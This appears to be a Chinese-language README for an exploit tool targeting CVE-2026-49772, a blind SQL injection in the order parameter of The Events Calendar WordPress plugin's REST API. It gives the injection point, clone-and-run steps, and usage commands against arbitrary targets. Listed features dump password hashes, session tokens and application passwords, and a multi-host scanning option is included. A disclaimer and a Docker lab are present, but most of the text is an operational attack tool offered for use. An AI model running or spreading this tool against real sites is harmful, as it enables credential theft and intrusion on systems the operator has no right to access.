CVE-2026-49772 是 WordPress 插件 The Events Calendar 中的一个未授权盲SQL注入。一个损坏的REST参数验证器(validate_callback 返回闭包而不是进行验证)使得实验性 tec/v1 REST API 上的 order 参数未经消毒就到达了 SQL ORDER BY 子句:
GET /wp-json/tec/v1/events?orderby=event_date&order=<INJECTION>
... ORDER BY event_date <INJECTION>, wp_posts.post_date DESC ...
这是一个只读注入(无堆叠查询、无写入、无直接输出)——但整个数据库可以通过布尔/时间盲注提取:用户密码哈希、会话令牌、应用密码、密钥。
受影响版本: The Events Calendar 6.15.12 – 6.16.2(已在 6.16.3 修复)
严重程度: CVSS 3.1 9.3 严重 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
--check — 非破坏性检测:REST命名空间、插件版本、时间确认--recon — 数据库指纹:版本、当前用户、数据库、操作系统、权限、表前缀--users — 导出 wp_users:登录名、电子邮件、密码哈希--user-meta — 导出 wp_usermeta:会话令牌、应用密码、能力--get-table — 自动发现列并导出任意表--query — 提取任意标量 SELECT 的结果纯Python 3标准库 — 包含了 requirements.txt 用于标准工作流程,但不会安装任何额外依赖。
git clone https://github.com/joshuavanderpoll/CVE-2026-49772.git
cd CVE-2026-49772
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
python3 CVE-2026-49772.py --help
git clone https://github.com/joshuavanderpoll/CVE-2026-49772.git
cd CVE-2026-49772
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python CVE-2026-49772.py --help
python3 CVE-2026-49772.py <target> <action> [options]
选择恰好一个操作:--check、--recon、--users、--user-meta、--get-table <TABLE>、--query <SQL>。运行 --help 查看所有选项。
# 漏洞检查
python3 CVE-2026-49772.py target.tld --check
# 数据库侦察
python3 CVE-2026-49772.py target.tld --recon
# 导出用户和密码哈希
python3 CVE-2026-49772.py target.tld --users
# 提取自定义值
python3 CVE-2026-49772.py target.tld --query "SELECT @@version"
调优:--technique boolean|time、--delay、--threads、--rows、--prefix、--where、-useragent、-timeout。使用 -l targets.txt 扫描多个主机。
一个独立自包含的Docker Compose实验环境,包含有漏洞的插件(已打包,启动时不下载)和预填充的事件。参见 docker/DOCKER.md。
# 进入Docker目录
cd docker/
docker compose up -d
python3 ../CVE-2026-49772.py localhost:8080 --check
/wp-json/tec/v1/此工具仅用于教育和研究目的。仅在你拥有明确书面权限的系统上使用。创建者不对因使用此工具造成的任何滥用或损害负责。